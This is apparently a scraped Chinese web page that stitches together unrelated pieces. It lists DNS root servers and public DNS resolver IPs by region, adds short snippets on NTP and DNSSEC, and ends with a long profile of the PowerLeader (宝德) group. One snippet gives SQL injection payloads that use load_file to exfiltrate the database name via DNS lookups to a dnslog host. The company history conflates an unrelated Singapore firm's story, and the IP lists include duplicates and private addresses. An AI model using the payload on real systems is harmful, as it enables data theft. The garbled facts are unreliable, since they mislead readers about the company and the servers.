1个为主根服务器,放置在美国。其余12个均为辅根服务器,其中9个放置在美国,欧洲2个,位于英国和瑞典,亚洲1个,位于日本。
1、 INTERNIC.NET(美国,弗吉尼亚州) 198.41.0.4
2、 美国信息科学研究所(美国,加利弗尼亚州) 128.9.0.107
3、 PSINet公司(美国,弗吉尼亚州) 192.33.4.12
4、 马里兰大学(美国马里兰州) 128.8.10.90
5、 美国航空航天管理局[NASA](美国加利弗尼亚州) 192.203.230.10
6、 因特网软件联盟(美国加利弗尼亚州) 192.5.5.241
7、 美国国防部网络信息中心(美国弗吉尼亚州) 192.112.36.4
8、 美国陆军研究所(美国马里兰州) 128.63.2.53
9、 Autonomica公司(瑞典,斯德哥尔摩) 192.36.148.17
10、 VeriSign公司(美国,弗吉尼亚州) 192.58.128.30
11、 RIPE NCC(英国,伦敦) 193.0.14.129
12、 IANA (美国,弗吉尼亚州) 198.32.64.12
13、 WIDE Project(日本,东京) 202.12.27.33
39.98.57.158哪的服务器港澳台DNS服务器地址
香港:
205.252.144.228
208.151.69.65
202.181.202.140
202.181.224.2
澳门:
202.175.3.8
202.175.3.3
台湾:
168.95.192.1
168.95.1.1
国外DNS服务器地址
美国:
208.67.222.222
208.67.220.220
165.87.13.129
165.87.201.244
205.171.3.65
205.171.2.65
198.41.0.4
198.41.0.4
198.32.64.12
192.33.4.12
192.203.230.10
192.5.5.241
192.112.36.4
192.36.148.17
192.58.128.30
192.9.9.3
193.0.14.129
128.9.0.107
128.8.10.90
66.33.206.206.
208.96.10.221
66.33.216.216
205.171.3.65
205.171.2.65
165.87.13.129
165.87.201.244
加拿大:
209.166.160.36
209.166.160.132
英国:
193.0.14.129
日本
202.12.27.33
202.216.228.18
韩国:
164.124.101.31
203.248.240.31
168.126.63.60
168.126.63.61
新西兰:
202.27.184.3
泰国:
209.166.160.132
202.44.8.34
202.44.8.2
印度:
202.138.103.100
202.138.96.2
国内各省市DNS服务器地址
北京:
202.96.199.133
202.96.0.133
202.106.0.20
202.106.148.1
202.97.16.195
202.138.96.2
深圳:
202.96.134.133
202.96.154.15
广州:
61.144.56.100
61.144.56.101
广东:
202.96.128.86
202.96.128.143
上海:
202.96.199.132
202.96.199.133
202.96.209.5
202.96.209.133
天津:
202.99.96.68
202.99.104.68
广西:
202.96.128.68
202.103.224.68
202.103.225.68
河南:
202.102.227.68
202.102.245.12
202.102.224.68
河北:
202.99.160.68
福建:
202.101.98.54
202.101.98.55
厦门:
202.101.103.55
202.101.103.54
湖南:
202.103.0.68
202.103.96.68
202.103.96.112
湖北:
202.103.0.68
202.103.0.117
202.103.24.68
江苏:
202.102.15.162
202.102.29.3
202.102.13.141
202.102.24.35
浙江:
202.96.102.3
202.96.96.68
202.96.104.18
陕西:
202.100.13.11
202.100.4.16
202.100.4.15
202.100.0.68
山东:
202.102.154.3
202.102.152.3
202.102.128.68
202.102.134.68
山西:
202.99.192.68
202.99.198.6
四川:
202.98.96.68
61.139.2.69
重庆:
61.128.128.68
成都:
202.98.96.68
202.98.96.69
辽宁:
202.98.0.68
202.96.75.68
202.96.75.64
202.96.69.38
202.96.86.18
202.96.86.24
安徽:
202.102.192.68
202.102.199.68
10.89.64.5
吉林:
202.98.5.68
202.98.14.18
202.98.14.19
江西:
202.101.224.68
202.109.129.2
202.101.240.36
新疆:
61.128.97.74
61.128.97.73
贵州:
202.98.192.68
10.157.2.15
云南:
202.98.96.68
202.98.160.68
黑龙江:
202.97.229.133
202.97.224.68
219.150.32.132
海南:
202.100.192.68
202.100.199.8
宁夏:
202.100.0.68
202.100.96.68
甘肃:
202.100.72.13
内蒙古:
202.99.224.68
青海:
202.100.128.68
全球路由DNS服务器
全球只有13台路由DNS根服务器,在13台路由服务器中,名字分别为“A”至“M”,其中10台设置在美国,另外各有一台设置于英国、瑞典和日本。下表是这些机器的管理单位、设置地点及最新的IP地址。
名称管理单位及设置地点IP地址
A INTERNIC.NET(美国,弗吉尼亚州) 198.41.0.4
B 美国信息科学研究所(美国,加利弗尼亚州) 128.9.0.107
C PSINet公司(美国,弗吉尼亚州) 192.33.4.12
D 马里兰大学(美国马里兰州) 128.8.10.90
E 美国航空航天管理局[NASA](美国加利弗尼亚州) 192.203.230.10
F 因特网软件联盟(美国加利弗尼亚州) 192.5.5.241
G 美国国防部网络信息中心(美国弗吉尼亚州) 192.112.36.4
H 美国陆军研究所(美国马里兰州) 128.63.2.53
I Autonomica公司(瑞典,斯德哥尔摩) 192.36.148.17
J VeriSign公司(美国,弗吉尼亚州) 192.58.128.30
K RIPE NCC(英国,伦敦) 193.0.14.129
L IANA (美国,弗吉尼亚州) 198.32.64.12
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Stratum-1在顶层,有外部UTC接入,而Stratum-2则从Stratum-1获取时间,Stratum-3从Stratum-2获取时间,以此类推,但Stratum层的总数限制在15以内。不同NTP服务器处理闰秒问题的方式可能不同,如果对时间同步精度存在需求,请关注你使用的NTP服务提供商的公告。NTP提供准确时间,首先要有准确的时间来源,这一时间应该是国际标准时间UTC。pool.ntp.org 是一个以时间服务器的大虚拟集群为上百万的客户端提供可靠的 易用的 网络时间协议(NTP)服务的项目。
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ip地址大全_2020全球公共 DNS 服务器 IP 地址大全
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【DNS外带】
DNS_LOG外带 DNSLOG.cn (实际情况中你发现渗透的时候,有布尔型注入,但是很花时间,你有什么别的方法能够加快时间- 解决办法DNS_LOG外带) 普通DNS外带 select load_file(concat('\\',(select database()),'.tqfkcu.dnslog.cn/abc')) 通过16进制编码DNS外带 select load_file(concat('\\',(select substr..
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全国各地DNS地址详细列表
北京DNS地址: 202.96.199.133 、202.96.0.133 、202.106.0.20 、202.106.148.1、 202.97.16.195、 202.106.196.115 上海DNS地址: 202.96.199.132 、202.96.199.133 、202.96.209.5 、202.96.209.6 、202.96.209.133 天津DNS地址: 202.99.9...
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DNS配置外网
dnssec开启,部分dns请求为不信任链导致解析延迟或者解析失败(error显示为不信任)解决方法: vi /etc/named.conf dnssec-enable no; dnssec-valication no; 转载于:...
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175.6.172.218 是那个服务器
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GEMORAL(GROUP)是哪家上市企业GEMORAL(GROUP)
宝德集团股份有限公司
德州宝德集团成立于1988年,注册资金美元一亿元。宝德集团是一家产业结构
多元化、跨国经营的上市公司。它参与经营的业务范围广泛,涉及的行业有:机电设备制造、安装;石油化工设备设计与制造;房地产投资与发展;食品工业加工;电脑地理信息系统开发;职业教育培训;航空与海事安全设备供应、保养与修理;海事保险;国际贸易等。宝德集团总部设在新加坡。到目前为止,在马来西亚、中国、美国、英国、澳大利亚、新西兰及东南亚等地设有二十八家子公司和分公司。
在宝德公司25年的发展史中,她与德州一起经历了经济萧条、内部动荡和政治巨变等。如今的宝德公司已成为东方知名的品牌之一。
1988年,爱德华·宝德在德州建立了宝德公司第一间办公室。宝德公司的早期业务主要集中在进出口商品、运输及保险代理方面,后来又涉足种植业和矿业。
1991年,爱德华·宝德在伦敦建立了一个单独的办公室,专门负责在伦敦商品市场上出售由宝德公司从新加坡和马来西亚进口的农产品,并且从事将欧洲的工业品运往远东的运输业务。如同东印度公司推动了印度次大陆的发展一样,宝德公司在新加坡乃至马来西亚和婆罗洲的经济和社会发展方面也起了十分重要的作用。
1998年爱德华·宝德逝世,他留下一笔遗赠,希望用这笔捐赠为海员们开办一所学院。2002年宝德学院在TANJONG
PAGAR建成,这所学院的建筑在相当长的一段时间里都是新加坡的地标。
2000年,新加坡宝德公司在新加坡证券交易市场上市。
到2002年,宝德集团已在包括澳大利亚、中国、英国、美国、马来西亚、印度尼西亚和委内瑞拉等国在内的全球范围内建立了30多家分支机构。目前宝德集团的核心业务领域是:工程、信息技术和教育服务。
宝德科技集团创立于1997年,2002年在香港创业板上市,以研发、生产和销售INTEL
IA架构的Powerleader服务器和相应的解决方案为主要业务,以网络游戏、软件开发及测试、IT周边产品分销等为辅助业务,现已成长为国产服务器前三强、中国云计算的精锐企业。宝德集团业务全面覆盖了云计算各个层级MaaS、PaaS、IaaS、SaaS和CaaS,为政府、互联网、教育、广电、安全、金融、电信、税务、交通、电力、医疗等行业提供尖端的云计算产品和服务。宝德将坚持不懈的在云计算领域投入自主研发和商试,五年内使宝德集团发展成为中国第一的云计算企业,并使中国在新一轮全球计算行业革新中挤身领先地位。
宝德以其创新的商业模式——“亚直销”的销售模式、厂商级的“一站式”服务和“按需定制”的生产模式为服务器产业链业务保驾护航,全国28个分公司和办事处的700多名宝德员工每天在给遍及全国各地的客户提供创新的量身定制云产品,以先进的技术与优质的产品改善着各行业的工作。
面向新的云时代,宝德肩负了更多的使命:为客户——提供一流的云产品和云服务;为员工——创造更大的发展空间,提升员工价值;为股东——创造更大的价值,回报股东长远利益;为社会——遵纪守法,积极纳税,提供丰富的就业机会,承担应有的社会责任。宝德正通过自身的不断努力,发展成为一家发源深圳、扎根中国、放眼世界的高新技术企业集团。在不远的将来,宝德将成为中国最有影响力、最具创新精神的高科技产业集团,演绎民族企业的梦想与腾飞!
多元化的IT企业集团:
深圳市宝德计算机系统有限公司
宝德计算机系统有限公司是宝德科技集团的核心基础,是宝德云中IAAS解决方案的支撑者。以服务器业务为核心,宝德集团发展了服务器上下游整体产业链,并部署了今天的宝德集团云计算架构。
宝德计算机以提供Intel
IA架构的Powerleader服务器和相应的解决方案为主要业务,是中国最大的服务器产品和方案提供商,也是Intel公司在中国的最重要的战略合作伙伴之一。宝德服务器注重自主创新,提供包括整机系统、通用服务器产品、存储服务器、高密度计算服务器、高性能集群(HPC)、存储产品、工业服务器产品、小型机、基于服务器的行业解决方案、应用软件、互联网解决方案、大型系统开发等业务和服务,通过软硬件产品的有利结合,加之应用解决方案,成为构筑宝德云的基础架构提供商。
宝德服务器注重市场调研和市场需求,为客户量身定做服务器产品和解决方案。帮助企业以更少的投入获得更高的回报。其方案以方便升级为前提,以易于集成、部署、管理和使用为基础,以高效解决IT问题,力助企业轻松应对业务挑战为宗旨,并具有高性价比等特点,在政府、互联网、教育、广电、安全、金融、电信、税务、交通、电力、医疗等行业拥有较高的声誉和知名度。
新的云计算时代已经到来,宝德将携手合作伙伴共同促进未来中国云计算市场的发展,为中国的信息化建设飞速发展贡献力量!
深圳宝腾互联技术有限公司
宝腾互联是宝德集团下属的全资子公司,致力于全球互联网的开发和应用,为各类企事业单位提供优质的业务平台(paas)—云加速服务平台。
宝腾互联依托宝德科技的技术实力,利用与全国电信运营商的战略合作关系,经过多年的运营和经验积累已形成一套科学的网络建设方案,从节点定位、设备选择、节点调试、节点维护等各个方面保证网络规模能够快速增长以满足市场资源的需求。目前宝腾互联s在全国80多个大中型城市拥有150个优质CDN节点,覆盖中国电信、中国新联通、中国移动、中国铁通、中国教育网等各大电信运营商等,服务中的客户超过1000家。
深圳宝德软件开发有限公司
宝德软件是宝德集团下属的创新型软件研发公司,致力于通过提供性能卓越的云加速软件、应用交付软件、广域网加速软件、防火墙软件等互联网软件,帮助用户的业务在宝德云中获得最好的SaaS服务。
宝德软件目前拥有IPSec 、SSL
、CDN加速、速游网络加速器、应用交付、广域网加速、防火墙、甲克网、服务器导航软件等多款软件产品,并在专业的网游加速领域排名市场第2位。
截止2010年8月,已有超过160家企业用户成为宝德软件的合作伙伴,包括红帽RedHat、F5、深信服、中青宝等知名企业,以及政府、高校、科研院所、金融等重要机构。
2008-2010年,宝德软件相继获得了深圳双软企业认定、深圳软件行业协会会员、CDN产品认证、负载均衡产品认证、速游加速器软件认证等荣誉。
深圳市宝德通讯技术有限公司
宝德通讯公司是宝德集团下属的全资子公司。在宝德作为中国领先的云服务提供商的布局中,宝德通讯主要肩负研发生产各种云端设备的时代使命。
宝德通讯与Intel Embedded Design Center合作开发的云端设备,将搭载与Intel Data Center
Group合作开发云端软件,为各种不同客户提供从云计算到云端的整体解决方案。
宝德集团与Intel共同成长,不但积累了多年Intel架构服务器的技术,现阶段结合中青宝网在线游戏的广大市场,正紧锣密鼓地规划中国第一个实质意义上的游戏云。宝德通讯借助美国恩讯公司在互动电视和视频服务等流媒体技术的领先优势,正朝着中国第一家提供高清游戏点播的云计算整体解决方案供应商迈进。
未来,宝德通讯将自主研发SSD控制器,进一步把游戏云带入电子游乐厅等相关的传统产业,为民族工业创新做出新一轮的划时代贡献。
深圳市宝鼎通讯设备有限公司
宝鼎机械公司是宝德集团下属的全资子公司。在宝德作为中国领先的云服务提供商的布局中,宝鼎机械主要承担研发生产各种云端设备基础结构件。
宝鼎机械公司拥有先进的设备;精干的设计、生产骨干团队。主要为客户开发设计定制各类机箱、机柜等产品。尤其专长于为客户开发定制专用设备外壳及钣金结构件。
深圳市宝德物业发展有限公司
宝德物业发展有限公司凭借集团坚强的后盾,通过实行专业化、规范化的管理,以丰富的管理经验,实践着公司的管理理念和经营宗旨,力求将优质的服务和优美的环境奉献给全体员工;
深圳中青宝互动网络股份有限公司
深圳中青宝互动网络股份有限公司是集团控股的子公司之一,国内首家A股网络游戏行业上市公司,在宝德集团整个云计算布局中,中青宝是游戏云的运营主体,主要承担开发和运维各类游戏,给用户提供最新最好的娱乐体验。
中青宝(300052)成立于2003年7月,前身为宝德网络。公司致力于大型中国历史爱国题材网络游戏的自主研发、策划和营运,是深圳市政府重点扶持培育的国内首家A股网络游戏行业上市公司。公司注册资本13000万,资产总额近10亿元。现有员工超700人,本科以上学历占75%以上,研发人员65%以上,是一家高智力投入、高产业增值的重点文化科技型企业。
中青宝拥有完善的游戏产品线及多项自主产权的高端核心技术,依靠具有独立知识产权的游戏核心技术先后推出了《大清帝国》、《战国英雄》、《抗战英雄传》、《亮剑OnLine》、《天道OnLine》、《新宋演义》、《梦回山海》等多款网络游戏精品大作。
布局全球,鸣响深圳创造之强音!中青宝立足深圳,全面拓展全球市场,将中国原创民族网游推向全世界,为传播中国民族文化贡献力量。
深圳市宝德投资控股有限公司
宝德控股以开展直接投资、资产管理、资本运作为核心职能。先后成功培育了宝德科技集团(香港联交所:8236)、中青宝(深圳创业板:300052)两家公众上市公司,目前在深圳、天津、揭阳投资建设科技产业园区、数码港和人才公寓,还参与面向中小企业和创业者的金融创新服务、创业投资业务。经历二十余年事业生涯,宝德控股已发展成为中国最前沿的高新技术产业投资控股公司。
未来,宝德控股持续积极投资于高成长的新兴行业,致力于把全球高科技成果成功普及到中国企业和公众,透过特有的经营哲学和文化,将投资价值传递!
宝德集团企业文化
企业使命---让计算更简单。
企业愿景---有云就有宝德,中国云·宝德云。
核心价值观:
好 人 文化:仁、义、礼、智、信。
赢文化:赢文化是好人文化的导向,好人要赢不要输;赢文化提倡:不妄自菲薄,不畏首畏尾,勇于超越自我,敢于挑战新高;
低调做人,高调做事,困难只是前进中的考验,要乐观对待,成就只是过去了的结果,不自诩自娱;有赢才有未来!中国赢,宝德赢!
结 果 导向:只重结果,不问原因,善于总结,精炼过程。
客 户 导向:以客为尊,竭诚服务,为客着想,合作共赢。
竞争者导向:向竞争者借鉴学习;同竞争者合作分享;并不断超越。
学习和创新:学习是创新的基石,创新是学习的结果。
品质与效率:品质是宝德品牌的生命,效率就是珍惜生命而不浪费时间。
宝德集团员工福利
工作环境
宝德集团持续努力为员工提供舒适良好的办公和生活环境,积极解决员工工作和生活中的问题困难。宝德工业园设有食堂,为员工提供丰富多样、营养均衡的餐食;设有员工宿舍,生活设备齐全,便捷;设置5条线路的自有班车,接送员工上下班;午后穿梭巴士,方便员工外出办事。
薪酬福利
我们遵守法律规定,并参考业内其他企业的薪酬标准,设立了极具竞争力的薪酬福利体系,包括各种补贴、岗位工资,职级工资,年功工资等;为所有员工购买4险1金。
宝德设有薪酬委员会,根据薪酬政策,每年7月对薪酬计划进行审查和修改, 以保证该项计划能在市场竞争和成本方面保持平衡。
员工活动
我们深知员工身心健康的重要性,因此对员工工作之余的生活也给予极高的重视。宝德设有员工健身活动中心、图书室等;组建各种社团,旨在丰富员工生活,提高员工生活品质;定期举行员工生日会;每年举行公司年会;员工旅游等。
公司鼓励员工回报社会,比如向红十字会、受灾地区捐款、捐物等。
职业培训
为了把宝德打造成一个学习型组织,宝德一直努力建立符合宝德风格的培训体系,为员工及客户提供众多培训课程,包括新员工文化培训、上岗培训和针对客户的培训等。
为了帮助新员工尽快适应公司文化,宝德对新员工的培训涵盖了企业文化、产品知识、营销技巧以及产品开发标准等多个方面。
宝德还设有员工在职培训计划,它包括管理和技术两方面。不同的职业资格、级别及员工类别会有不同培训计划,为每个员工的事业发展提供有力的帮助。
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